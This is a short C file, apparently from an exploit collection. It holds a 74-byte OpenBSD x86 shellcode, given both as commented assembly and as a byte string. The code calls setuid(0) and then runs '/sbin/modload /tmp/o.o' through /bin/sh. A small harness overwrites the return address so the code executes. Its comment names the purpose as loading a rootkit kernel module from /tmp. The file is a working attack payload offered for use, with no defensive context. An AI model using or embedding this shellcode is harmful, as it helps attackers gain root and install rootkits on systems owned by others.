57 lines
No EOL
1 KiB
C
57 lines
No EOL
1 KiB
C
/* The modload shellcode
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setuid(0)
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loads /tmp/o.o module
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very usefull if you have rootkit as kernel module in the /tmp dir
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Size 74 bytes
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OS OpenBSD
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/rootteam/dev0id (rootteam.void.ru)
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dev0id@uncompiled.com
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BITS 32
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jmp short callme
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main:
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pop esi
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xor eax,eax
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push eax
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mov al,0x17
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push eax
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int 0x80
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xor eax,eax
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push eax
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push long 0x68732f6e
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push long 0x69622f2f
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mov ebx,esp
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push eax
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push word 0x632d
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mov edi,esp
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push eax
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push esi
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push edi
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push ebx
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mov edi,esp
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push eax
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push edi
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push ebx
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push eax
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mov al,0x3B
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int 0x80
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callme:
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call main
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db '/sbin/modload /tmp/o.o'
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*/
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char shellcode[] =
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"\xeb\x2d\x5e\x31\xc0\x50\xb0\x17\x50\xcd\x80\x31\xc0\x50\x68"
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"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d"
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"\x63\x89\xe7\x50\x56\x57\x53\x89\xe7\x50\x57\x53\x50\xb0\x3b"
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"\xcd\x80\xe8\xce\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x6d\x6f"
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"\x64\x6c\x6f\x61\x64\x20\x2f\x74\x6d\x70\x2f\x6f\x2e\x6f";
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int
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main(void)
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{
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int *ret;
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ret = (int*)&ret + 2;
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(*ret) = shellcode;
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} |